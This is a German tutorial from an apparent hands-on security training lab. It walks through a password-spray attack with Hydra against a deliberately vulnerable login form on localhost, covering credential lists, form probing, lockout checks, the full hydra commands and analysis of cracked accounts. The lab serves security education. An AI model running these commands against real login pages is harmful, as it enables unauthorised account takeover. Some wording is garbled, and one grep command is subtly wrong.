Passwort-Spray-Angriffe mit Hydra

HydraHydraBeginner
Jetzt üben

💡 Dieser Artikel wurde von AI-Assistenten übersetzt. Um die englische Version anzuzeigen, können Sie hier klicken

Einführung

In diesem Lab lernen Sie, wie Sie Passwort-Spray-Angriffe mit Hydra durchführen können. Hydra ist ein vielseitiges Cybersicherheitstool für Brute-Force-Tests. Sie werden den Prozess der Einrichtung von Hydra, die Erstellung von Zugangsdatenlisten und die Ausführung gezielter Angriffe auf Webanmeldeformulare untersuchen.

Das Lab bietet praktische Erfahrungen bei der Konfiguration von Angriffsparametern, der Analyse von Ergebnissen und der Identifizierung schwacher Zugangsdaten. Durch praktische Übungen gewinnen Sie Einblicke in häufige Authentifizierungsverletzungen und Verteidigungsstrategien.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) hydra(("Hydra")) -.-> hydra/HydraGroup(["Hydra"]) nmap/NmapGroup -.-> nmap/target_specification("Target Specification") hydra/HydraGroup -.-> hydra/installation("Installation and Setup") subgraph Lab Skills nmap/target_specification -.-> lab-549952{{"Passwort-Spray-Angriffe mit Hydra"}} hydra/installation -.-> lab-549952{{"Passwort-Spray-Angriffe mit Hydra"}} end

Hydra installieren

In diesem Schritt installieren Sie Hydra, ein leistungsstarkes und flexibles Passwort-Cracking-Tool, das Sicherheitsexperten zur Prüfung der System-Sicherheit nutzen. Hydra kann Brute-Force-Angriffe gegen viele verschiedene Netzwerkdienste wie Websites (HTTP), Dateiübertragungen (FTP) und sichere Shells (SSH) durchführen. Das Verständnis, wie diese Tools funktionieren, hilft Ihnen, Systeme besser gegen Angriffe zu schützen.

  1. Zunächst müssen wir die Paketliste Ihres Systems aktualisieren. Dadurch wird sichergestellt, dass Sie die neueste verfügbare Version von Hydra installieren:

    sudo apt update

    Der Befehl sudo gibt Ihnen Administratorrechte, während apt update Ihre Liste der verfügbaren Softwarepakete aktualisiert.

  2. Installieren Sie jetzt Hydra mit diesem einfachen Befehl:

    sudo apt install hydra -y

    Die Option -y beantwortet automatisch alle Abfragen während der Installation mit "ja", wodurch der Prozess reibungsloser verläuft.

  3. Nach der Installation überprüfen wir, ob Hydra korrekt funktioniert, indem wir seine Version prüfen:

    hydra -v

    Sie sollten eine Ausgabe ähnlich der folgenden sehen:

    Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.

    Dieser Versionscheck bestätigt, dass Hydra ordnungsgemäß installiert und einsatzbereit ist.

  4. Für erweiterte Funktionen und eine bessere Leistung bei bestimmten Protokollen installieren Sie diese optionalen Abhängigkeiten:

    sudo apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev -y

    Diese Bibliotheken ermöglichen es Hydra, mit zusätzlichen Diensten wie Datenbanken (MySQL, PostgreSQL) und Versionsverwaltungssystemen (Subversion) zu arbeiten.

Benutzer- und Passwortlisten vorbereiten

In diesem Schritt erstellen Sie die essentiellen Textdateien, die Hydra für einen Passwort-Spray-Angriff benötigt. Diese Dateien enthalten potenzielle Benutzernamen und Passwörter, die Hydra systematisch an das Ziel-Webformular testen wird. Beim Passwort-Spray-Verfahren werden einige häufige Passwörter für viele Benutzerkonten getestet. Dies hilft, Account-Sperren zu vermeiden, die auftreten, wenn für ein einzelnes Konto viele Passwörter getestet werden.

  1. Navigieren Sie zunächst in Ihr Projektverzeichnis, in dem wir unsere Dateien speichern werden. So bleiben alle Dateien an einem Ort organisiert:

    cd ~/project
  2. Jetzt erstellen wir eine Datei, die häufige Benutzernamen enthält. Dies sind typische Kontonamen, die möglicherweise in einem System vorhanden sind. Wir verwenden den Nano-Texteditor, um die Datei zu erstellen und zu bearbeiten:

    nano users.txt

    Fügen Sie die folgenden häufigen Benutzernamen ein, jeweils eine Zeile pro Name:

    admin
    administrator
    user
    test
    guest
    root
  3. Als Nächstes erstellen wir eine Passwortlisten-Datei. Dies sind schwache Passwörter, die Benutzer möglicherweise festlegen, was sie zu guten Kandidaten für Tests macht. Wieder verwenden wir Nano:

    nano passwords.txt

    Fügen Sie diese häufig verwendeten Passwörter ein, jeweils eine Zeile pro Passwort:

    password
    123456
    admin
    letmein
    welcome
    qwerty
  4. Nachdem beide Dateien erstellt wurden, überprüfen wir, ob sie in unserem Verzeichnis vorhanden sind. Der Befehl ls -l zeigt detaillierte Dateiinformationen an, einschließlich des Erstellungsdatums und der Größe:

    ls -l

    In der Ausgabe sollten sowohl users.txt als auch passwords.txt aufgeführt sein.

  5. Abschließend überprüfen wir den tatsächlichen Inhalt jeder Datei, um sicherzustellen, dass sie korrekt erstellt wurden. Der Befehl cat zeigt den Dateiinhalt direkt im Terminal an:

    cat users.txt
    cat passwords.txt

Ein Webformular als Ziel auswählen

In diesem Schritt identifizieren und analysieren Sie ein Ziel-Webformular für einen Passwort-Spray-Angriff. Für diese Übung verwenden wir eine absichtlich anfällige Webanwendung, die auf http://localhost:8080 läuft. Beim Passwort-Spray-Verfahren werden einige häufige Passwörter für viele Benutzerkonten getestet. Daher ist es vor dem Start des Angriffs wichtig, die Struktur des Anmeldeformulars zu verstehen.

  1. Überprüfen Sie zunächst, ob die Ziel-Webanwendung läuft:

    curl -I http://localhost:8080/login

    Die Option -I teilt curl mit, nur die HTTP-Header abzurufen. Sie sollten einen 200 OK-Status sehen, der bestätigt, dass die Anmeldeseite erreichbar ist. Wenn Sie einen Verbindungsfehler erhalten, stellen Sie sicher, dass der Webserver läuft, bevor Sie fortfahren.

  2. Untersuchen Sie die Struktur des Anmeldeformulars, indem Sie die Quelltexte der Seite anzeigen:

    curl http://localhost:8080/login | grep -A5 -B5 "form"

    Dieser Befehl ruft den HTML-Inhalt ab und zeigt 5 Zeilen vor und nach allen <form>-Tags an. Suchen Sie nach dem action-Attribut des Formulars (wo die Daten gesendet werden) und den Namen der Eingabefelder - diese werden normalerweise username und password genannt, können aber variieren.

  3. Erstellen Sie eine Testanfragedatei, um die Parameter des Formulars zu dokumentieren:

    nano form_test.txt

    Fügen Sie diesen Inhalt hinzu, um die wichtigen Details aufzuzeichnen, die Hydra benötigt:

    Target URL: http://localhost:8080/login
    Method: POST
    Username field: username
    Password field: password
    Failure indicator: "Invalid credentials"

    Der Fehlerindikator hilft Hydra, zu erkennen, wann Anmeldeversuche fehlschlagen. Wir verwenden diese Datei später, um unseren Angriff zu konfigurieren.

  4. Testen Sie das Formular manuell mit einem einzelnen Zugangsdatenpaar:

    curl -X POST -d "username=admin&password=wrongpass" http://localhost:8080/login -v

    -X POST gibt die HTTP-Methode an, während -d die Formulardaten sendet. Die Option -v zeigt ausführliche Ausgabe an, damit Sie die "Invalid credentials"-Antwort überprüfen können. Dies bestätigt, dass das Formular bei fehlgeschlagenen Anmeldungen wie erwartet funktioniert.

  5. Prüfen Sie auf Account-Sperrrichtlinien, indem Sie 5 schnelle Anfragen senden:

    for i in {1..5}; do
      curl -X POST -d "username=admin&password=wrong$i" http://localhost:8080/login -s -o /dev/null -w "Attempt $i: %{http_code}\n"
    done

    Diese Schleife sendet 5 schnelle fehlgeschlagene Versuche. Beobachten Sie, ob der HTTP-Statuscode von 200 (Erfolg) auf 403 (Verboten) wechselt, was auf Sperrschutz hinweisen würde. Echte Anwendungen haben oft solche Schutzmaßnahmen, aber unsere Testumgebung nicht.

Einen Passwort-Spray-Angriff ausführen

In diesem Schritt führen Sie einen Passwort-Spray-Angriff auf das Ziel-Webformular mit Hydra aus, indem Sie die zuvor erstellten Benutzer- und Passwortlisten verwenden. Beim Passwort-Spray-Verfahren werden eine kleine Anzahl von häufigen Passwörtern für viele Benutzerkonten getestet. Dies hilft, Account-Sperren zu vermeiden, die bei traditionellen Brute-Force-Angriffen auftreten können.

  1. Navigieren Sie zunächst in Ihr Projektverzeichnis, in dem sich Ihre Benutzer- und Passwortlisten befinden:

    cd ~/project
  2. Jetzt führen we werden Hydra mit sorgfältig ausgewählten Parametern ausführen. Dieser Befehl teilt Hydra mit, jedes Passwort in Ihrer Liste gegen jeden Benutzernamen zu testen, wobei die Anmeldeseite des Webformulars als Ziel dient:

    hydra -L users.txt -P passwords.txt localhost http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid credentials" -t 4 -vV

    Lassen Sie uns aufschlüsseln, was jeder Parameter bewirkt:

    • -L users.txt: Verweist auf Ihre Liste von Benutzernamen (jeweils einer pro Zeile)
    • -P passwords.txt: Verweist auf Ihre Liste von Passwörtern, die getestet werden sollen
    • http-post-form: Gibt an, dass wir ein Webformular mit der POST-Methode angreifen
    • /login:...: Definiert die Formularstruktur - der Teil nach dem Doppelpunkt sagt Hydra, wie es fehlgeschlagene Versuche erkennen soll
    • -t 4: Führt 4 parallele Verbindungen aus, um den Angriff zu beschleunigen
    • -vV: Gibt detaillierte Ausgabe, damit Sie den Fortschritt verfolgen können
  3. Während Hydra läuft, beobachten Sie die Ausgabe genau. Wenn Hydra gültige Zugangsdaten findet, wird es diese wie folgt deutlich anzeigen:

    [80][http-post-form] host: localhost   login: admin   password: admin
  4. Um Ihre Ergebnisse zur Dokumentation oder weiteren Analyse zu speichern, führen Sie Hydra mit dem -o-Parameter aus:

    hydra -L users.txt -P passwords.txt localhost http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid credentials" -t 4 -o results.txt
  5. Nachdem der Angriff abgeschlossen ist, können Sie die gespeicherten Ergebnisse mit folgendem Befehl anzeigen:

    cat results.txt

    Diese Datei enthält alle während des Angriffs gefundenen erfolgreichen Anmeldekombinationen.

Ergebnisse analysieren

In diesem Schritt analysieren Sie die Ergebnisse Ihres Passwort-Spray-Angriffs, um kompromittierte Zugangsdaten zu identifizieren und die Sicherheitsauswirkungen zu verstehen. Beim Passwort-Spray-Verfahren versuchen Angreifer, einige häufige Passwörter für viele Konten zu testen, anstatt viele Passwörter für wenige Konten.

  1. Untersuchen Sie zunächst die Rohdaten-Datei, die Hydra erstellt hat. Diese Datei enthält alle Versuche, die Hydra während des Angriffs unternommen hat:

    cat ~/project/results.txt

    Suchen Sie nach Zeilen, die "[80][http-post-form]" enthalten, was erfolgreiche Anmeldungen anzeigt. Die Zahl 80 bezieht sich auf den HTTP-Port, und http-post-form zeigt an, dass es sich um eine Webformular-Einreichung handelte.

  2. Um sich nur auf erfolgreiche Versuche zu konzentrieren, extrahieren Sie die kompromittierten Zugangsdaten in eine neue Datei. Der grep-Befehl filtert Zeilen, die das Erfolgsmuster enthalten:

    grep "[80][http-post-form]" ~/project/results.txt > ~/project/compromised_creds.txt
  3. Zählen Sie die Anzahl der kompromittierten Konten, um das Ausmaß der Schwachstelle zu verstehen. Der wc (Wortzählung)-Befehl mit der -l-Option zählt die Zeilen:

    wc -l ~/project/compromised_creds.txt
  4. Analysieren Sie die Passwortmuster, indem Sie eine Passwort-Häufigkeitsliste generieren. Dies hilft, schwache Passwörter zu identifizieren, die häufig verwendet wurden:

    awk '{print $6}' ~/project/compromised_creds.txt | sort | uniq -c | sort -nr

    Der Befehl extrahiert das 6. Feld (Passwort), sortiert sie, zählt Duplikate und sortiert nach Häufigkeit.

  5. Erstellen Sie einen Sicherheitsbericht, der die wichtigsten Erkenntnisse zusammenfasst. Dieses strukturierte Format hilft, die Ergebnisse klar zu dokumentieren:

    echo "Password Spray Attack Results" > ~/project/security_report.txt
    echo "Compromised accounts: $(wc -l < ~/project/compromised_creds.txt)" >> ~/project/security_report.txt
    echo "Most common password: $(awk '{print $6}' ~/project/compromised_creds.txt | sort | uniq -c | sort -nr | head -1)" >> ~/project/security_report.txt
  6. Sehen Sie sich den endgültigen Sicherheitsbericht an, um die zusammengefassten Ergebnisse zu sehen:

    cat ~/project/security_report.txt

Zusammenfassung

In diesem Lab haben Sie gelernt, wie Sie einen Passwort-Spray-Angriff mit Hydra auf einem Linux-System durchführen. Der Prozess umfasste die Installation des Tools, die Vorbereitung von Zugangsdatenlisten und die Konfiguration des Angriffs auf ein Webformular.

Sie haben auch die grundlegende Funktionalität von Hydra für Brute-Force-Versuche an Netzwerkdiensten erkundet. Das Lab betonte geeignete Einrichtungstechniken, wie das Erstellen strukturierter Eingabedateien und das Verständnis wesentlicher Befehlsparameter.